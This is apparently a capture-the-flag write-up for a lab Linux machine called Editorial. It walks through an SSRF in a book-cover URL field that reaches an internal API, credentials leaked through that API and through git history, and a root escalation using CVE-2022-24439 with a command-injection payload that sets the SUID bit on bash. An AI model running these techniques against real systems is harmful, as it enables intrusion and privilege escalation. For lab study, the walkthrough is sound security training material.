Machine Card listing Editorial as an easy Linux box

Reconnaissance

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The nmap scan already found the redirect to editorial.htb on port 80, therefore I add the domain to my /etc/hosts file before having a closer look.

HTTP

Webpage for a book publishing service with some books on display

Not much information is displayed on the webpage but there’s a link to Publish with us in the navigation bar on the top, leading me to /upload.

Form to send infos to publish a book. It allows to upload a cover or retrieve it via an URL

To publish a book it requires a few things like the name of the book and how to get in touch. It also allows to upload a cover for the book or retrieve it from an URL. As soon as I put in my IP and press Enter, there’s a request to my server.

If I try to retrieve a non-existing file, the web application returns the default picture /static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg.
In case the file does exist, it gets fetched and stored on the target under /static/uploads/....

Screenshot of BurpSuite showing a succesful retrieval and the returned link starting with static/uploads

curl http://editorial.htb/static/uploads/03920904-8f83-42bd-bf42-064133723926
hello from the other side

Even though I can place files on the server I don’t see a way to use really use them for command execution, but since I do get the output of the request (as contents of the files), I can use this to check if there are any internal web applications running.

Initial Access

Trying a few common HTTP ports like 3000, 5000, 8000, 8080 and 9000, I only get a positive response on port 5000 with some kind of API.

curl http://editorial.htb/static/uploads/6ffa5474-c630-4a10-8528-8a72a861c554 | jq .
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}

Going through the different API endpoints there’s something valuable in /api/latest/metadata/messages/authors. It does list login credentials for the internal forum: dev:dev080217_devAPI!@.

{
    "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}

Those credentials also work for SSH and let me read the first flag.

Privilege Escalation

Shell as prod

Within the home directory of the dev user is a folder called apps that just contains another folder .git. The history in git often contains sensitive information because secrets were added by mistake and git keeps track of everything.
The credentials for dev were hardcoded there too, so it seems like a good place to start searching for more.

git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 21:04:21 2023 -0500
 
    fix: bugfix in api port endpoint
 
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 21:01:11 2023 -0500
 
    change: remove debug and update api port
 
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:55:08 2023 -0500
 
    change(api): downgrading prod to dev
    
    * To use development environment.
 
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:51:10 2023 -0500
 
    feat: create api to editorial info
    
    * It (will) contains internal info about the editorial, this enable
       faster access to information.
 
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:48:43 2023 -0500
 
    feat: create editorial app
    
    * This contains the base of this project.
    * Also we add a feature to enable to external authors send us their
       books and validate a future post in our editorial.

git log shows multiple commits, one of them having downgrading prod to dev as commit message. There’s a chance that the code before this point may contain the credentials for the production. With git show 1e84a036b2f33c59e2390730699a488c65643d28 I can check the changes introduced with the commit identified by its hash.

git show 1e84a036b2f33c59e2390730699a488c65643d28
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:51:10 2023 -0500
 
    feat: create api to editorial info
 
    * It (will) contains internal info about the editorial, this enable
       faster access to information.
 
diff --git a/app_api/app.py b/app_api/app.py
new file mode 100644
index 0000000..61b786f
--- /dev/null
+++ b/app_api/app.py
@@ -0,0 +1,74 @@
+# API (in development).
+# * To retrieve info about editorial
+
+import json
+from flask import Flask, jsonify
+
+# -------------------------------
+# App configuration
+# -------------------------------
+app = Flask(__name__)
+
+# -------------------------------
+# Global Variables
+# -------------------------------
+api_route = "/api/latest/metadata"
+api_editorial_name = "Editorial Tiempo Arriba"
+api_editorial_email = "info@tiempoarriba.htb"
+
+# -------------------------------
+# API routes
+# -------------------------------
+# -- : home
+@app.route('/api', methods=['GET'])
+def index():
+    data_editorial = {
+        'version': [{
+            '1': {
+                'editorial': 'Editorial El Tiempo Por Arriba',
+                'contact_email_1': 'soporte@tiempoarriba.oc',
+                'contact_email_2': 'info@tiempoarriba.oc',
+                'api_route': '/api/v1/metadata/'
+            }},
+            {
+            '1.1': {
+                'editorial': 'Ed Tiempo Arriba',
+                'contact_email_1': 'soporte@tiempoarriba.oc',
+                'contact_email_2': 'info@tiempoarriba.oc',
+                'api_route': '/api/v1.1/metadata/'
+            }},
+            {
+            '1.2': {
+                'editorial': api_editorial_name,
+                'contact_email_1': 'soporte@tiempoarriba.oc',
+                'contact_email_2': 'info@tiempoarriba.oc',
+                'api_route': f'/api/v1.2/metadata/'
+            }},
+            {
+            '2': {
+                'editorial': api_editorial_name,
+                'contact_email': 'info@tiempoarriba.moc.oc',
+                'api_route': f'/api/v2/metadata/'
+            }},
+            {
+            '2.3': {
+                'editorial': api_editorial_name,
+                'contact_email': api_editorial_email,
+                'api_route': f'{api_route}/'
+            }
+        }]
+    }
+    return jsonify(data_editorial)
+
+# -- : (development) mail message to new authors
+@app.route(api_route + '/authors/message', methods=['GET'])
+def api_mail_new_authors():
+    return jsonify({
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\n
Username: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n
\nBest regards, " + api_editorial_name + " Team."
+    }) # TODO: replace dev credentials when checks pass
+
+# -------------------------------
+# Start program
+# -------------------------------
+if __name__ == '__main__':
+    app.run(host='127.0.0.1', port=5001, debug=True)

As hoped the commit contains the credentials prod:080217_Producti0n_2023!@ and they still work to pivot to prod.

Shell as root

After becoming prod I check the sudo privileges and that account can run a python script as root.

sudo -l
[sudo] password for prod: 
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

The script is fairly short and takes one argument. It clones the repository passed to the script into new_changes. The more interesting fact is the options passed to the clone_from function call. Searching online for that shows multiple references to CVE-2022-24439 where it’s possible to get code execution due to insufficient sanitization.

#!/usr/bin/python3
 
import os
import sys
from git import Repo
 
os.chdir('/opt/internal_apps/clone_changes')
 
url_to_clone = sys.argv[1]
 
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

The CVE description contains an example that I adapt to add the SUID bit on the bash binary to escalate to root. This allows me to run /bin/bash -p to preserve the privileges and access the final flag.

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c chmod% u+s% /bin/bash"
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c chmod% u+s% /bin/bash new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
 
Please make sure you have the correct access rights
and the repository exists.
'
/bin/bash -p
bash-5.1# id
uid=1000(prod) gid=1000(prod) euid=0(root) groups=1000(prod)

Info

The version of GitPython on the host is 3.1.29 from /usr/local/lib/python3.10/dist-packages/GitPython-3.1.29.dist-info.

Attack Path

flowchart TD

subgraph "Initial Access"
    A(URL Retrieval Feature) -->|Server Side Request Forgery| B(Access to internal API)
    B -->|Credentials Stored in Welcome Message| C(Shell as dev)
end

subgraph "Privilege Escalation"
    C -->|Credentials in Git History| D(Shell as prod)
    D -->|CVE-2022-24439| E(Shell as root)
end